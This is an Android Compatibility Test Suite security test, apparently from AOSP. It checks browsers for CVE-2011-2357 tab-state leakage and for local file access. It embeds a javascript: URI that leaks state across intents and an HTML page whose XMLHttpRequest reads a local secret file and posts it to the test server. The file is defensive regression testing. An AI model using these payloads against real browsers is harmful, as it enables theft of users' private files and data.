1 /* 2 * Copyright (C) 2011 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 package android.security.cts; 18 19 import android.content.Intent; 20 import android.content.pm.PackageManager; 21 import android.content.pm.ResolveInfo; 22 import android.net.Uri; 23 import android.os.StrictMode; 24 import android.platform.test.annotations.SecurityTest; 25 import android.test.AndroidTestCase; 26 import android.webkit.cts.CtsTestServer; 27 28 import org.apache.http.HttpEntity; 29 30 import java.io.File; 31 import java.io.FileOutputStream; 32 import java.nio.charset.StandardCharsets; 33 import java.util.ArrayList; 34 import java.util.List; 35 36 /** 37 * Test file for browser security issues. 38 */ 39 @SecurityTest 40 public class BrowserTest extends AndroidTestCase { 41 private CtsTestServer mWebServer; 42 43 @Override setUp()44 protected void setUp() throws Exception { 45 super.setUp(); 46 mWebServer = new CtsTestServer(mContext); 47 } 48 49 @Override tearDown()50 protected void tearDown() throws Exception { 51 mWebServer.shutdown(); 52 super.tearDown(); 53 } 54 55 /** 56 * Verify that no state is preserved across multiple intents sent 57 * to the browser when we reuse a browser tab. If such data is preserved, 58 * then browser is vulnerable to a data stealing attack. 59 * 60 * In this test, we send two intents to the Android browser. The first 61 * intent sets document.b2 to 1. The second intent attempts to read 62 * document.b2. If the read is successful, then state was preserved 63 * across the two intents. 64 * 65 * If state is preserved across browser tabs, we ask 66 * the browser to send an HTTP request to our local server. 67 * 68 * See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357 for 69 * vulnerability information for this test case. 70 * 71 * See commits 096bae248453abe83cbb2e5a2c744bd62cdb620b and 72 * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability. 73 */ testTabReuse()74 public void testTabReuse() throws InterruptedException { 75 List<Intent> intents = getAllJavascriptIntents(); 76 for (Intent i : intents) { 77 mContext.startActivity(i); 78 mContext.startActivity(i); 79 80 /* 81 * Wait 5 seconds for the browser to contact the server, but 82 * fail fast if we detect the bug 83 */ 84 for (int j = 0; j < 5; j++) { 85 assertEquals("javascript handler preserves state across " 86 + "multiple intents. Vulnerable to CVE-2011-2357?", 87 0, mWebServer.getRequestCount()); 88 Thread.sleep(1000); 89 } 90 } 91 } 92 93 /** 94 * Verify that no state is preserved across multiple intents sent 95 * to the browser when we run out of usable browser tabs. If such data is 96 * preserved, then browser is vulnerable to a data stealing attack. 97 * 98 * In this test, we send 20 intents to the Android browser. Each 99 * intent sets the variable "document.b1" equal to 1. If we are able 100 * read document.b1 in subsequent invocations of the intent, then 101 * we know state was preserved. In that case, we send a message 102 * to the local server, recording this fact. 103 * 104 * Our test fails if the local server ever receives an HTTP request. 105 * 106 * See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357 for 107 * vulnerability information this test case. 108 * 109 * See commits 096bae248453abe83cbb2e5a2c744bd62cdb620b and 110 * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability. 111 */ testTabExhaustion()112 public void testTabExhaustion() throws InterruptedException { 113 List<Intent> intents = getAllJavascriptIntents(); 114 for (Intent i : intents) { 115 i.addFlags(Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT); 116 117 /* 118 * Send 20 intents. 20 is greater than the maximum number 119 * of tabs allowed by the Android browser. 120 */ 121 for (int j = 0; j < 20; j++) { 122 mContext.startActivity(i); 123 } 124 125 /* 126 * Wait 5 seconds for the browser to contact the server, but 127 * fail fast if we detect the bug 128 */ 129 for (int j = 0; j < 5; j++) { 130 assertEquals("javascript handler preserves state across " 131 + "multiple intents. Vulnerable to CVE-2011-2357?", 132 0, mWebServer.getRequestCount()); 133 Thread.sleep(1000); 134 } 135 } 136 } 137 138 /** 139 * See Bug 6212665 for detailed information about this issue. 140 */ testBrowserPrivateDataAccess()141 public void testBrowserPrivateDataAccess() throws Throwable { 142 // Yucky workaround to let us launch file:// Uris 143 StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().build()); 144 145 // Create a list of all intents for http display. This includes all browsers. 146 List<Intent> intents = createAllIntents(Uri.parse("http://www.google.com")); 147 String action = "\"" + mWebServer.getBaseUri() + "/\""; 148 // test each browser 149 for (Intent intent : intents) { 150 // reset state 151 mWebServer.resetRequestState(); 152 153 // define target file, which is supposedly protected from this app 154 final File secretFile = exposeFile(stageFile("target.txt", "SECRETS!")); 155 156 String html = 157 "<html><body>\n" + 158 " <form name=\"myform\" action=" + action + " method=\"post\">\n" + 159 " <input type='text' name='val'/>\n" + 160 " <a href=\"javascript :submitform()\">Search</a></form>\n" + 161 "<script>\n" + 162 " var client = new XMLHttpRequest();\n" + 163 " client.open('GET', '" + Uri.fromFile(secretFile) + "');\n" + 164 " client.onreadystatechange = function() {\n" + 165 " if(client.readyState == 4) {\n" + 166 " myform.val.value = client.responseText;\n" + 167 " document.myform.submit(); \n" + 168 " }}\n" + 169 " client.send();\n" + 170 "</script></body></html>\n"; 171 172 // create a local HTML to access protected file 173 final File htmlFile = exposeFile(stageFile("jsfileaccess.html", html)); 174 175 // do a file request 176 intent.setData(Uri.fromFile(htmlFile)); 177 178 try { 179 mContext.startActivity(intent); 180 } catch (SecurityException e) { 181 // If browser activity cannot be started, skip the test. 182 continue; 183 } 184 185 /* 186 * Wait 5 seconds for the browser to contact the server, but 187 * fail fast if we detect the bug 188 */ 189 for (int j = 0; j < 5; j++) { 190 // it seems that even when cross-origin policy prevents a file 191 // access, browser is still doing a POST sometimes, but it just 192 // sends the query part and no private data. Make sure this does not 193 // cause a false alarm. 194 if (mWebServer.getRequestEntities().size() > 0) { 195 int len = 0; 196 for (HttpEntity entity : mWebServer.getRequestEntities()) { 197 len += entity.getContentLength(); 198 } 199 final int queryLen = "val=".length(); 200 assertTrue("Failed preventing access to private data", len <= queryLen); 201 } 202 Thread.sleep(1000); 203 } 204 } 205 } 206 stageFile(String name, String contents)207 private File stageFile(String name, String contents) throws Exception { 208 final File file = mContext.getFileStreamPath(name); 209 try (FileOutputStream out = new FileOutputStream(file)) { 210 out.write(contents.getBytes(StandardCharsets.UTF_8)); 211 } 212 return file; 213 } 214 exposeFile(File file)215 private File exposeFile(File file) throws Exception { 216 file.setReadable(true, false); 217 file.setReadable(true, true); 218 219 File dir = file.getParentFile(); 220 do { 221 dir.setExecutable(true, false); 222 dir.setExecutable(true, true); 223 dir = dir.getParentFile(); 224 } while (dir != null); 225 226 return file; 227 } 228 229 /** 230 * This method returns a List of explicit Intents for all programs 231 * which handle javascript URIs. 232 */ getAllJavascriptIntents()233 private List<Intent> getAllJavascriptIntents() { 234 String localServerUri = mWebServer.getBaseUri(); 235 String varName = "document.b" + System.currentTimeMillis(); 236 237 /* 238 * Build a javascript URL containing the following (without spaces and newlines) 239 * <code> 240 * if (document.b12345 == 1) { 241 * document.location = "http://localhost:1234/"; 242 * } 243 * document.b12345 = 1; 244 * </code> 245 */ 246 String javascript = "javascript:if(" + varName + "==1){" 247 + "document.location=\"" + localServerUri + "\"" 248 + "};" 249 + varName + "=1"; 250 251 return createAllIntents(Uri.parse(javascript)); 252 } 253 254 /** 255 * Create intents for all activities that can display the given URI. 256 */ createAllIntents(Uri uri)257 private List<Intent> createAllIntents(Uri uri) { 258 259 Intent implicit = new Intent(Intent.ACTION_VIEW); 260 implicit.setData(uri); 261 262 /* convert our implicit Intent into multiple explicit Intents */ 263 List<Intent> retval = new ArrayList<Intent>(); 264 PackageManager pm = mContext.getPackageManager(); 265 List<ResolveInfo> list = pm.queryIntentActivities(implicit, PackageManager.GET_META_DATA); 266 for (ResolveInfo i : list) { 267 Intent explicit = new Intent(Intent.ACTION_VIEW); 268 explicit.setClassName(i.activityInfo.packageName, i.activityInfo.name); 269 explicit.setData(uri); 270 explicit.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 271 retval.add(explicit); 272 } 273 274 return retval; 275 } 276 } 277